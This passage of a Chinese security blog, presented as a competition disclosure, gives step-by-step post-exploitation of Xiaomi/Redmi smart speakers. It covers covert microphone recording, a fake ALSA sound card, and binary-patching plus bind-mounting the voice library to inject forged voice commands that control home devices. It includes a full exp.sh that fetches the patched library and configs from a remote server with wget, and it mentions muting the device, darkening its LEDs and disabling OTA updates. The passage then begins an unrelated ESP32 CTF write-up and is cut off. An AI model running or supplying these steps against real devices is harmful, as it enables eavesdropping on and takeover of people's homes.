<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">2</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">180</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">6</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">1960</span> <span class="n">Jan</span> <span class="mi">19</span> <span class="mi">2020</span> <span class="p">..</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">0</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">controlC0</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">32</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">controlC1</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">24</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">pcmC0D0c</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">16</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">pcmC0D0p</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">56</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">pcmC1D0c</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">48</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">pcmC1D0p</span>
<span class="n">crw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">33</span> <span class="n">Jan</span> <span class="mi">1</span> <span class="mi">1970</span> <span class="n">timer</span>
</code></pre></div></div>
<ul>
<li>snd的含义为sound</li>
<li>controlC0用于声卡的控制,例如通道选择,混音,麦克风的控制等</li>
<li>C0D0 代表的是声卡0 中的设备0,</li>
<li>pcmC0D0c 最后一个c 代表capture,用于录音的pcm</li>
<li>pcmC0D0p 最后一个p 代表 playback,用于播放的pcm</li>
<li>这些都是alsa-driver 中的命名规则</li>
</ul>
<p>硬件部分:</p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/146478748">写给纠结「声卡」和「解码器」的人</a></li>
<li><a href="https://blog.csdn.net/weixin_42121713/article/details/109968321">声卡硬件架构 ICH-HDA-CODEC</a></li>
<li><a href="https://blog.csdn.net/qq_42822743/article/details/124384112">ITOP4412开发板之声卡测试</a></li>
<li><a href="https://blog.csdn.net/lizuobin2/article/details/117951380">4412 audio 分析</a></li>
<li><a href="https://www.waveshare.net/w/upload/a/a4/WM8960_Audio_HAT_User_Manual_CN.pdf">WM8960 Audio HAT 用户手册</a></li>
<li><a href="https://linux-sunxi.org/images/2/23/Allwinner_V3s_Datasheet_V1.0.pdf">Allwinner_V3s_Datasheet_V1.0.pdf</a></li>
</ul>
<p>最终的扬声器和麦克风接口:</p>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/492902279">最流行的3.5mm耳机接口是咋工作的?</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/56432582">听音乐多年 模拟音频接口你了解吗?</a></li>
</ul>
<h2 id="利用方法">利用方法</h2>
<p>关于IoT后渗透的简单介绍之前写过了:<a href="https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/13/getshell5/">Getshell尾声:盗取与操控</a></p>
<blockquote>
<p>当你拿到一个iot设备(嵌入式linux)的shell后,你怎么样去控制设备的这些外设,从而控制整个的设备的功能呢?这些设备的图形控制端是在手机app上,本设备上是一般没有图形控制界面的。所以要去逆向分析整个系统,找到关键的控制功能处,并想办法介入,修改 ,控制,或者伪造请求。</p>
</blockquote>
<p>对于音箱的利用主要关注音频系统,整体的三种利用入口如图,可见虽然是最终控制硬件,不过我们可以介入的位置都是软件,而且还都是在用户态层次,不需要对内核层的音频系统有所处理:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/attack.png" alt="image" /></p>
<h3 id="播放音乐使用扬声器">播放音乐(使用扬声器)</h3>
<p>使用aplay可以播放wav格式的音频:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># aplay /tmp/test.wav
</span></code></pre></div></div>
<p>在/bin/wakeup.sh可找到使用ubus播放音频的方法,可播放mp3:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/test.mp3\",\"type\":1}
</span></code></pre></div></div>
<p>使用ubus调解音量:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># ubus -t 1 call mediaplayer player_set_volume {\"volume\":60}
</span></code></pre></div></div>
<h3 id="录音窃听使用麦克风">录音窃听(使用麦克风)</h3>
<p>可以使用aplay确认声卡个数,经过测试使用的声卡是第一个,即hw:0,0:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># aplay -l
</span><span class="o">****</span> <span class="n">List</span> <span class="n">of</span> <span class="n">PLAYBACK</span> <span class="n">Hardware</span> <span class="n">Devices</span> <span class="o">****</span>
<span class="n">card</span> <span class="mi">0</span><span class="o">:</span> <span class="n">audiocodec</span> <span class="p">[</span><span class="n">audiocodec</span><span class="p">],</span> <span class="n">device</span> <span class="mi">0</span><span class="o">:</span> <span class="n">SUNXI</span><span class="o">-</span><span class="n">CODEC</span> <span class="n">sun8iw18codec</span><span class="o">-</span><span class="mi">0</span> <span class="p">[]</span>
<span class="n">Subdevices</span><span class="o">:</span> <span class="mi">0</span><span class="o">/</span><span class="mi">1</span>
<span class="n">Subdevice</span> <span class="err">#</span><span class="mi">0</span><span class="o">:</span> <span class="n">subdevice</span> <span class="err">#</span><span class="mi">0</span>
<span class="n">card</span> <span class="mi">1</span><span class="o">:</span> <span class="n">snddaudio2</span> <span class="p">[</span><span class="n">snddaudio2</span><span class="p">],</span> <span class="n">device</span> <span class="mi">0</span><span class="o">:</span> <span class="n">SUNXI</span><span class="o">-</span><span class="n">AUDIO</span> <span class="n">snd</span><span class="o">-</span><span class="n">soc</span><span class="o">-</span><span class="n">dummy</span><span class="o">-</span><span class="n">dai</span><span class="o">-</span><span class="mi">0</span> <span class="p">[]</span>
<span class="n">Subdevices</span><span class="o">:</span> <span class="mi">1</span><span class="o">/</span><span class="mi">1</span>
<span class="n">Subdevice</span> <span class="err">#</span><span class="mi">0</span><span class="o">:</span> <span class="n">subdevice</span> <span class="err">#</span><span class="mi">0</span>
</code></pre></div></div>
<p>使用arecord,录音,需要参数如下:</p>
<table>
<thead>
<tr>
<th>参数选项</th>
<th>含义</th>
<th>本命令参数</th>
</tr>
</thead>
<tbody>
<tr>
<td>-D</td>
<td>选择设备名称</td>
<td>使用声卡hw:0,0</td>
</tr>
<tr>
<td>-f</td>
<td>录音格式</td>
<td>cd(16_LE, 44100Hz)</td>
</tr>
<tr>
<td>-t</td>
<td>录音类型</td>
<td>wav</td>
</tr>
</tbody>
</table>
<p>然后录音,发现提示资源忙,应该是声卡被占用:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
</span><span class="nl">arecord:</span> <span class="nl">main:</span><span class="mi">722</span><span class="o">:</span> <span class="n">audio</span> <span class="n">open</span> <span class="n">error</span><span class="o">:</span> <span class="n">Resource</span> <span class="n">busy</span>
</code></pre></div></div>
<p>分析是语音系统主进程mipns-horizon占用的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">3573</span> <span class="n">root</span> <span class="mi">18928</span> <span class="n">S</span><span class="o"><</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">mipns</span><span class="o">-</span><span class="n">horizon</span> <span class="o">-</span><span class="n">c</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">horizon</span><span class="o">/</span> <span class="o">-</span><span class="n">r</span> <span class="n">opus32</span> <span class="o">-</span><span class="n">l</span>
</code></pre></div></div>
<p>可以使用一下两种方法杀掉这个进程:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># killall mipns-horizon
# ps | grep mipns | grep -v grep |awk '{print $1}' | xargs kill -9
</span></code></pre></div></div>
<p>然后即可正常录音,并可以使用aplay测试播放:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># killall mipns-horizon ; arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
# aplay /tmp/test.wav
</span></code></pre></div></div>
<h3 id="控制家居劫持麦克风">控制家居(劫持麦克风)</h3>
<p>播放音乐和录音窃听都是直接使用对应功能的正常软件,这也是一个语音音箱最基本的功能。不过如今的智能语音音箱已然是家庭里的智能中控,一句小爱同学,便可操控全屋智能。因此从功能上来看,如果接管了音箱,也就应该可以接管目标家庭的所有智能家居。除了使用miio系列的token控制以外,有没有更加通用的办法?后来我们想到一种不仅通用,而且暴力、直接、朴素的方法:伪造控制语音,直接喂给接收麦克风音频的控制代码,进而控制智能家居,大概方法如下:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/fake.png" alt="image" /></p>
<ul>
<li>录制虚假的控制音频:fake_voice.raw,内容为“小爱同学,控制命令(打开台灯)”</li>
<li>构造虚假声卡:pcm.fake,并绑定fake_voice.raw为声卡输入</li>
<li>劫持业务进程的声卡绑定:二进制patch声卡接口从hw:0,0修改为fake</li>
<li>最终重启业务进程即可</li>
</ul>
<h4 id="确认声卡参数">确认声卡参数</h4>
<p>伪造的控制音频不是随便录个mp3就行,而是需要根据设备本身声卡参数录制无封装格式的原始音频数据。原因也很显然,我们伪造的控制音频最终是直接喂给声卡的输入,从层次上就是在空中传递的声音并经过采样量化的数据,目前我打过的两个音箱的声卡采样参数如下:</p>
<table>
<thead>
<tr>
<th>设备</th>
<th>采样位数</th>
<th>采样率</th>
<th>通道数</th>
</tr>
</thead>
<tbody>
<tr>
<td>小米小爱音箱Pro</td>
<td>S16_LE</td>
<td>48000</td>
<td>8</td>
</tr>
<tr>
<td>Redmi小爱音箱Play</td>
<td>S16_LE</td>
<td>16000</td>
<td>3</td>
</tr>
</tbody>
</table>
<p>对于这些参数的理解可以参考:</p>
<ul>
<li><a href="https://cloud.tencent.com/developer/article/1541259">(干货)Ai音箱和Linux音频驱动小谈</a></li>
<li><a href="https://blog.csdn.net/Guet_Kite/article/details/114314003">ALSA子系统(十三)——snd_pcm_hw_refine硬件参数重定义</a></li>
<li><a href="https://github.com/tinyalsa/tinyalsa">TinyALSA</a></li>
<li><a href="https://blog.csdn.net/qianxuedegushi/article/details/103558352">ALSA音频底层调试工具tinypcminfo ,tinymix,tinyplay,tinycap的使用</a></li>
</ul>
<p>寻找设备对应参数的过程我们走了一些弯路,最终发现一个通用且简单的办法即可获取到。即通过/proc/asound/文件系统下对应声卡目录下的hw_params文件可以获得对应参数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># ls /proc/asound/
</span><span class="n">audiocodec</span> <span class="n">cards</span> <span class="n">pcm</span> <span class="n">timers</span>
<span class="n">card0</span> <span class="n">devices</span> <span class="n">seq</span> <span class="n">version</span>
<span class="n">card1</span> <span class="n">oss</span> <span class="n">snddaudio2</span>
<span class="cp"># ls /proc/asound/card0/
</span><span class="n">id</span> <span class="n">oss_mixer</span> <span class="n">pcm0c</span> <span class="n">pcm0p</span>
<span class="cp"># cat /proc/asound/card0/pcm0c/sub0/hw_params
</span><span class="n">access</span><span class="o">:</span> <span class="n">RW_INTERLEAVED</span>
<span class="n">format</span><span class="o">:</span> <span class="n">S16_LE</span>
<span class="n">subformat</span><span class="o">:</span> <span class="n">STD</span>
<span class="n">channels</span><span class="o">:</span> <span class="mi">3</span>
<span class="n">rate</span><span class="o">:</span> <span class="mi">16000</span> <span class="p">(</span><span class="mi">16000</span><span class="o">/</span><span class="mi">1</span><span class="p">)</span>
<span class="n">period_size</span><span class="o">:</span> <span class="mi">320</span>
<span class="n">buffer_size</span><span class="o">:</span> <span class="mi">2560</span>
</code></pre></div></div>
<h4 id="固定参数录音">固定参数录音</h4>
<p>然后即可使用对应参数录制伪造控制的原始音频,需要注意的是:</p>
<ul>
<li>录制内容:小爱同学,控制命令(打开台灯)</li>
<li>录制声音:录制时需要声音大一些,之后测试播放才能听清</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># killall mipns-horizon; arecord -Dhw:0,0 -d 8 -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw
</span></code></pre></div></div>
<p>对应参数如下:</p>
<table>
<thead>
<tr>
<th>选项</th>
<th>含义</th>
<th>本命令参数</th>
</tr>
</thead>
<tbody>
<tr>
<td>-D</td>
<td>选择设备名称</td>
<td>使用声卡hw:0,0</td>
</tr>
<tr>
<td>-d</td>
<td>录音时长</td>
<td>录音8秒</td>
</tr>
<tr>
<td>-f</td>
<td>录音格式</td>
<td>S16_LE</td>
</tr>
<tr>
<td>-r</td>
<td>采样率</td>
<td>16000是16KHz采样</td>
</tr>
<tr>
<td>-c</td>
<td>声道数</td>
<td>3</td>
</tr>
<tr>
<td>-t</td>
<td>录音类型</td>
<td>raw</td>
</tr>
</tbody>
</table>
<p>然后可以播放测试刚才录制的音频:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># aplay -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw
</span></code></pre></div></div>
<h4 id="构造虚假声卡">构造虚假声卡</h4>
<p>ASLA在配置文件中,允许file类型的声卡存在,可以使用infile参数设置喂给声卡的输入文件:</p>
<ul>
<li><a href="https://stackoverflow.com/questions/43480867/linux-pipe-audio-file-to-microphone-input">Linux pipe audio file to microphone input</a></li>
<li><a href="https://blog.csdn.net/u010312436/article/details/47839229">asoundrc配置文件简单介绍</a></li>
<li><a href="https://blog.csdn.net/zhangxu365/article/details/8449118">asound.conf配置</a></li>
<li><a href="https://stackoverflow.com/questions/53370944/alsa-library-for-transcoding">Alsa Library for transcoding</a></li>
</ul>
<p>复制/etc/asound.conf,到可写目录中,添加如下虚假声卡:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pcm</span><span class="p">.</span><span class="n">fake</span> <span class="p">{</span>
<span class="n">type</span> <span class="n">file</span>
<span class="n">slave</span> <span class="p">{</span> <span class="n">pcm</span> <span class="s">"hw:0,0"</span><span class="p">}</span>
<span class="n">file</span> <span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">null</span>
<span class="n">infile</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">test</span><span class="p">.</span><span class="n">raw</span>
<span class="p">}</span>
</code></pre></div></div>
<p>由于/etc目录也为squashfs只读文件系统下的目录,所以无法直接覆盖,需要一些小技巧,如<code class="language-plaintext highlighter-rouge">mount -o bind</code>,即可覆盖文件系统的路径为虚假的配置文件:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># mount -o bind /tmp/asound.conf /etc/asound.conf
</span></code></pre></div></div>
<p>覆盖后,既可以使用虚假的声卡进行录音测试,无论你对着音箱怎么叫喊,录制的结果都是我们喂进去的文件内容:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># killall mipns-horizon; arecord -Dfake -d 8 -f S16_LE -c 3 -r 16000 -t raw /tmp/test.raw2
# aplay -f S16_LE -c 3 -r 16000 /tmp/test.raw2
</span></code></pre></div></div>
<h4 id="劫持声卡绑定">劫持声卡绑定</h4>
<p>然后需要让音箱智能语音系统使用我们的名为fake的伪造声卡,经过逆向分析,调用声卡的代码在语音主进程mipns-xxx的一个动态链接库中,不同设备以及不同软件版本下的此动态库的名字可能不同,如以下:</p>
<table>
<thead>
<tr>
<th>设备</th>
<th>软件版本</th>
<th>主进程</th>
<th>替换库</th>
</tr>
</thead>
<tbody>
<tr>
<td>小米小爱音箱Pro</td>
<td>1.66.7</td>
<td>mipns-xiaomi</td>
<td>libxaudio_engine.so</td>
</tr>
<tr>
<td>Redmi小爱音箱Play</td>
<td>1.60.10</td>
<td>mipns-horizon</td>
<td>libvpm.so</td>
</tr>
</tbody>
</table>
<p>确定库的方法为搜索绑定声卡的函数:snd_pcm_open,此函数实现在libasound.so.2中:</p>
<blockquote>
<p>函数文档:<a href="https://www.alsa-project.org/alsa-doc/alsa-lib/group___p_c_m.html">ALSA project - the C library reference PCM Interface</a></p>
</blockquote>
<p>例如在Redmi小爱音箱Play中:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span> <span class="err">#</span> <span class="n">grep</span> <span class="o">-</span><span class="n">r</span> <span class="s">"snd_pcm_open"</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libasound</span><span class="p">.</span><span class="n">so</span><span class="p">.</span><span class="mi">2</span><span class="o">:</span><span class="n">snd_pcm_open</span>
<span class="p">...</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libvpm</span><span class="p">.</span><span class="n">so</span><span class="o">:</span><span class="n">snd_pcm_open</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">libxiaomimediaplayer</span><span class="p">.</span><span class="n">so</span><span class="o">:</span><span class="n">snd_pcm_open</span>
</code></pre></div></div>
<p>libasound.so.2是alsa实现库,libxiaomimediaplayer.so主进程mipns-horizon没有使用,因此声卡绑定的逻辑在libvpm.so中。snd_pcm_open函数的第二个参数即为声卡名,一般为硬编码的字符串<code class="language-plaintext highlighter-rouge">hw:?,?</code>,换掉即可。</p>
<p>图中以小米小爱音箱Pro的libxaudio_engine.so为例:</p>
<blockquote>
<p>没使用Redmi为例的原因为,其libvpm_fake.so的snd_pcm_open函数的参数为变量传递过来,查看不直接</p>
</blockquote>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/patch.png" alt="image" /></p>
<p>除了使用IDA、010editer进行patch以外,还可以直接使用dd进行替换,使用strings确定字符串偏移:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># cp /usr/lib/libvpm.so /tmp/libvpm_fake.so
</span>
<span class="cp"># strings -t d /usr/lib/libvpm.so | grep hw:0
</span><span class="mi">1226312</span> <span class="n">hw</span><span class="o">:</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span>
<span class="cp"># echo -n -e "fake\x00" | dd of=/tmp/libvpm_fake.so bs=1 count=5 seek=1226312 conv=notrunc
</span><span class="mi">5</span><span class="o">+</span><span class="mi">0</span> <span class="n">records</span> <span class="n">in</span>
<span class="mi">5</span><span class="o">+</span><span class="mi">0</span> <span class="n">records</span> <span class="n">out</span>
</code></pre></div></div>
<p>然后一样使用mount -o bind替换动态库:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># mount -o bind /tmp/libvpm_fake.so /usr/lib/libvpm.so
</span></code></pre></div></div>
<h4 id="重启业务进程">重启业务进程</h4>
<p>伪造的声卡,伪造的音频,伪造的动态库都搞定后,kill业务进程即可,其会自动重启:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># killall mipns-horizon
</span></code></pre></div></div>
<h2 id="完整利用">完整利用</h2>
<p>服务器(补天杯当时我们还特意使用了杭州阿里云以确保速度)准备文件:</p>
<ul>
<li>asound.conf</li>
<li>libvpm_fake.so</li>
<li>noise.mp3</li>
<li>saodi_run.raw</li>
<li>saodi_stop.raw</li>
</ul>
<p>完整利用脚本exp.sh如下:</p>
<ul>
<li>play:把声音跳到最大播放自定义音频</li>
<li>prepare:把声音调到最低,然后准备好虚假的动态库与声卡配置文件并挂载覆盖</li>
<li>saodi_run:替换声卡配置文件中的输入文件为扫地机器人出动的音频,并重启业务进程</li>
<li>saodi_run:替换声卡配置文件中的输入文件为扫地机器人回家的音频,并重启业务进程</li>
</ul>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">server</span><span class="o">=</span><span class="s2">"192.168.40.119:8000"</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"play"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span>wget <span class="nt">-P</span> /tmp http://<span class="k">${</span><span class="nv">server</span><span class="k">}</span>/noise.mp3
ubus <span class="nt">-t</span> 1 call mediaplayer player_set_volume <span class="o">{</span><span class="se">\"</span>volume<span class="se">\"</span>:100<span class="o">}</span>
ubus <span class="nt">-t</span> 1 call mediaplayer player_play_url <span class="o">{</span><span class="se">\"</span>url<span class="se">\"</span>:<span class="se">\"</span>file:///tmp/noise.mp3<span class="se">\"</span>,<span class="se">\"</span><span class="nb">type</span><span class="se">\"</span>:1<span class="o">}</span>
<span class="k">elif</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"prepare"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span>ubus <span class="nt">-t</span> 1 call mediaplayer player_set_volume <span class="o">{</span><span class="se">\"</span>volume<span class="se">\"</span>:0<span class="o">}</span>
wget <span class="nt">-P</span> /tmp http://<span class="k">${</span><span class="nv">server</span><span class="k">}</span>/libvpm_fake.so
wget <span class="nt">-P</span> /tmp http://<span class="k">${</span><span class="nv">server</span><span class="k">}</span>/asound.conf
mount <span class="nt">-o</span> <span class="nb">bind</span> /tmp/asound.conf /etc/asound.conf
mount <span class="nt">-o</span> <span class="nb">bind</span> /tmp/libvpm_fake.so /usr/lib/libvpm.so
<span class="k">elif</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"saodi_run"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">rm</span> /tmp/<span class="k">*</span>.raw
wget <span class="nt">-P</span> /tmp http://<span class="k">${</span><span class="nv">server</span><span class="k">}</span>/saodi_run.raw
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'s/infile.*/infile "\/tmp\/saodi_run.raw"/g'</span> /tmp/asound.conf
umount /etc/asound.conf <span class="p">;</span> mount <span class="nt">-o</span> <span class="nb">bind</span> /tmp/asound.conf /etc/asound.conf
killall mipns-horizon
<span class="nb">echo</span> <span class="s2">"[+] saodi_run"</span>
<span class="k">elif</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"saodi_stop"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">rm</span> /tmp/<span class="k">*</span>.raw
wget <span class="nt">-P</span> /tmp wget http://<span class="k">${</span><span class="nv">server</span><span class="k">}</span>/saodi_stop.raw
<span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'s/infile.*/infile "\/tmp\/saodi_stop.raw"/g'</span> /tmp/asound.conf
umount /etc/asound.conf <span class="p">;</span> mount <span class="nt">-o</span> <span class="nb">bind</span> /tmp/asound.conf /etc/asound.conf
killall mipns-horizon
<span class="nb">echo</span> <span class="s2">"[+] saodi_stop"</span>
<span class="k">fi</span>
</code></pre></div></div>
<p>使用如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span><span class="n">tmp</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="p">.</span><span class="n">sh</span> <span class="n">play</span>
<span class="o">/</span><span class="n">tmp</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="p">.</span><span class="n">sh</span> <span class="n">prepare</span>
<span class="o">/</span><span class="n">tmp</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="p">.</span><span class="n">sh</span> <span class="n">saodi_run</span>
<span class="o">/</span><span class="n">tmp</span> <span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">exp</span><span class="p">.</span><span class="n">sh</span> <span class="n">saodi_stop</span>
</code></pre></div></div>
<p>比赛时我们还实现了更完整,更隐蔽的利用,包括不限于:</p>
<ul>
<li>让设备彻底静音</li>
<li>熄灭设备的提示灯</li>
<li>干掉设备的ota升级程序</li>
</ul>
<h2 id="小米罪证">小米罪证</h2>
<p>时间线:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/time.png" alt="image" /></p>
<p>证据链:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/xiaomi/ble.png" alt="image" /></p>老板娘2020年11月,淼哥、老徐、我,仨人代表清华校队Redbud参加补天杯,项目为现场破解小米小爱音箱Pro。预期效果为在内网环境下,通过对音箱的破解,接管目标家庭的所有米家智能家居,包括:扫地机器人,窗帘,电饭锅,台灯以及电风扇。但由于小米安全人员(李海粟、曾颖涛)进行现场干扰,导致比赛现场的小米小爱音箱启动并联网后,就直接被小米后台远程重置,也就无法进入正常的业务逻辑,最后判定漏洞演示失败。本篇将以Redmi小爱音箱Play(2020年左右软件版本的1.60.10)为例,公开我们当时完成的播放音乐、录音窃听、家居控制等后渗透利用的具体方法,虽然过后看起来难度不大,但也是我们仨经过曲折探索才找到的一条可行路径。ESP32 IoT CTF 清华校赛版 Write Up2022-08-30T00:00:00+00:002022-08-30T00:00:00+00:00https://xuanxuanblingbling.github.io/iot/2022/08/30/esp32<blockquote>
<p>一个以ESP32为底座的新手向CTF IoT赛题,包括基本的硬件操作,串口调试,网络通信,WIFI,蓝牙,MQTT,固件提取等,总共13个flag。其实就是我们仨这几年学到的一些经验,以及海特西湖论剑那张板子上的部分思路。具体玩法为:通过USB线连接ESP32开发板,通过串口工具即可看到题目信息的相关输出,并通过各种有线无线的方式与ESP32交互获取flag。解题的总体思路是通过对隐去flag的源码分析应该如何获取flag。并且在真实板子上的代码中,采用了AES动态解密真flag的方式,防止选手通过读取固件直接获得所有明文flag。另外在源码中为了清晰阅读,直接采用include c文件分离不同方向题目代码,省掉了头文件。淼哥对此赛题评价是:没有一点弯,纯训练。欢迎大家来玩~</p>
</blockquote>
<h2 id="题目源码">题目源码</h2>
<ul>
<li><a href="https://github.com/xuanxuanblingbling/esp32ctf_thu">https://github.com/xuanxuanblingbling/esp32ctf_thu</a></li>
</ul>
<h3 id="目录说明">目录说明</h3>
<table>
<thead>
<tr>
<th>目录</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>thuctf</td>
<td>ESP32项目本体</td>
</tr>
<tr>
<td>docker</td>
<td>未授权未认证的MQTT broker镜像</td>
</tr>
<tr>
<td>attachment</td>
<td>给选手的说明</td>
</tr>
<tr>
<td>test</td>
<td>测试脚本</td>
</tr>
<tr>
<td>wp</td>
<td>题目解析</td>
</tr>
</tbody>
</table>
<h3 id="编译方法">编译方法</h3>
<p>已验证的环境如下:</p>
<ul>
<li>工具版本:ESP-IDF v4.2.2-250-gf65845ef51-dirty、ESP-IDF v4.3.1</li>
<li>板子型号:ESP32-WROOM-32D</li>
</ul>
<p>首先按照官方文档在自己的开发环境上安装好IDF:<a href="https://github.com/espressif/esp-idf">https://github.com/espressif/esp-idf</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ git clone https://github.com/xuanxuanblingbling/esp32ctf_thu.git
➜ cd esp32ctf_thu/thuctf/
➜ idf.py menuconfig
➜ idf.py build
➜ idf.py flash
</code></pre></div></div>
<p>其中menuconfig设置:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Serial flasher config ---> Flash size (4 MB)
Partition Table ---> Partition Table (Custom partition table CSV)
</code></pre></div></div>
<h2 id="硬件题目">硬件题目</h2>
<blockquote>
<p>main/hardware.c</p>
</blockquote>
<p>主要考察了对于GPIO、串口通信的理解以及操作,题目开启顺序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>task1 -> task2 -> task3
</code></pre></div></div>
<h3 id="task1">task1</h3>
<ul>
<li>题目:将GPIO18抬高,持续3s即可获得flag</li>
</ul>
